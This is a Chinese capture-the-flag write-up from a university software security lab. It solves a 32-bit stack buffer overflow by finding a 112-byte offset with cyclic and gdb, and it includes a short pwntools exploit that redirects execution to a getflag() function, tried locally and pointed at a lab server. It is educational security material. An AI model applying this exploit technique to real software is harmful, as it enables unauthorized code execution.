Tamevic’s Ctf-Pwn writeup@软件安全‘实验2pwn’
软件安全第二次实验就开始了栈溢出…
文件
就是一个可执行文件…日后有空一定传网盘…我才没有拖延症凸(艹皿艹 )
3.22更新:来了来了!
链接:https://pan.baidu.com/s/19gIMQhEQSaB3LJWb1rFFYQ 密码:6xlt
分析
先把pwn文件拖进女神(IDA)的脸上,对文件进行反编译
(可爱的女神不认识中文…Mac版的IDA使用过程中不能切换成中文输入法,不然会crash…切记切记)
-看看主函数这个文件的操作就是告诉你,‘SUCTF is not hard’ ‘let’s have the di er ci try’然后请你随意输入一点东西,程序就结束了。这里能让我输入我就一定可以做点什么奇奇怪怪的事。
-看看别的函数
要使用栈溢出,就得有个目标地址嘛,看到了有个亲切的函数叫getflag(),其实本质还是 cat f1ag,把目标地址下的名为f1ag的文件里的内容打印出来。要想搞定这个东西应该就用它了。
-开始调试
进入ubuntu,先来试试这个东西的溢出位在哪里,先创建一个长度为200的有序字符串,使用指令
cyclic 200
再用gdb(之前安装的,链接放上!pwn准备https://blog.youkuaiyun.com/Maxmalloc/article/details/87884064 是老(大)胡(佬)写的,感谢感谢)进行测试。使用指令
gdb pwn
再开始运行程序
run
将之前的字符串输入进去,发现发生了溢出
溢出的地方内容是
0x62616164
再用 cyclic -l 0x62616164
看看是第多少位溢出的
是第112个字母后溢出的。根据栈的特性,比较容易想到将跳转地址放在第113位开始
(这里需要对数据进行打包:即将整数值转换为32位或者64位地址一样的表示方式,比如0x400010表示为\x10\x00\x40一样,这使得我们构造payload变得很方便
用法:
- p32/p64: 打包一个整数,分别打包为32或64位
- u32/u64: 解包一个字符串,得到整数)
所以payload的构建就变成了112*a+p32(getflag)
写好exp开始运行,得到结果
附
from pwn import *
sh = process('./pwn')
elf=ELF('./pwn')
target=0x0804858B
sh.sendline('a'*(112)+p32(target))
sh.interactive()
结果
运行得到flag
这里需要特别说明一下:
这里所做的操作都是本地调试,使用的是process(‘’)函数,所获取的f1ag文件也是自己先创建好的(因为pwn文件本身不自带f1ag文件,仅有getflag()函数)
End
老胡还有一点小套路,叫我试试远程端端口(138.128.212.238 9999)
其实很简单,将process()
换成remote(‘url’,端口号)
即可
小彩蛋:
老孔之吻…吐了